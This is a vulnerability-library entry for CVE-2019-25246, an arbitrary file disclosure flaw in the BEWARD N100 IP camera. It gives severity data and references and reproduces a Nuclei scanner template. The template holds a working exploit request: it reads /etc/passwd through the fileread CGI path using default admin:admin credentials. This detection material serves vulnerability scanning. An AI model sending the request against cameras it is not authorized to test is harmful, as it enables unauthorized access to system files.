/Vulnerability Library

BEWARD N100 H.264 VGA IP Camera M2.1.6 - Arbitrary File Disclosure

CVE-2019-25246
Verified

Description

Beward N100 H.264 VGA IP Camera M2.1.6 contains an authenticated file disclosure vulnerability caused by improper validation of the 'READ.filePath' parameter in fileread script and SendCGICMD API, letting authenticated attackers read arbitrary system files.

Severity

High

CVSS Score

8.6

Exploit Probability

17%

Affected Product

n100_h.264_vga_ip_camera

Published Date

August 16, 2021

Template Author

geeknik, liangtovi-debug

CVE-2019-25246.yaml
id: CVE-2019-25246

info:
  name: BEWARD N100 H.264 VGA IP Camera M2.1.6 - Arbitrary File Disclosure
  author: geeknik,liangtovi-debug
  severity: high
  description: |
    Beward N100 H.264 VGA IP Camera M2.1.6 contains an authenticated file disclosure vulnerability caused by improper validation of the 'READ.filePath' parameter in fileread script and SendCGICMD API, letting authenticated attackers read arbitrary system files.
  impact: |
    Authenticated attackers can read sensitive system files, potentially exposing critical information.
  remediation: |
    Update to the latest version or apply vendor patches addressing this vulnerability
  reference:
    - https://www.exploit-db.com/exploits/46320
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5511.php
    - https://nvd.nist.gov/vuln/detail/CVE-2019-25246
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2019-25246
    epss-score: 0.17393
    epss-percentile: 0.96802
    cwe-id: CWE-22,CWE-73
  metadata:
    max-request: 1
    vendor: beward
    product: n100_h.264_vga_ip_camera
  tags: cve,cve2019,iot,camera,disclosure,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/operator/fileread?READ.filePath=/etc/passwd"

    headers:
      Authorization: "Basic YWRtaW46YWRtaW4="

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - 'root:[x*]:0:0:'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fc986ab0e0ac5d09e86d5928257ef413ddf3a0db222d38a46da174b446e70dc0022100f0a67160656763d6fae91768657084172630d33c5ba17d848c7e121caa81b4e0:922c64590222798bb761d5b6d8e72950
8.6Score

CVSS Metrics

CVSS Vector:
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CVE ID:
cve-2019-25246
CWE ID:
cwe-22, cwe-73

References

https://www.exploit-db.com/exploits/46320https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5511.phphttps://nvd.nist.gov/vuln/detail/CVE-2019-25246

Remediation Steps

Update to the latest version or apply vendor patches addressing this vulnerability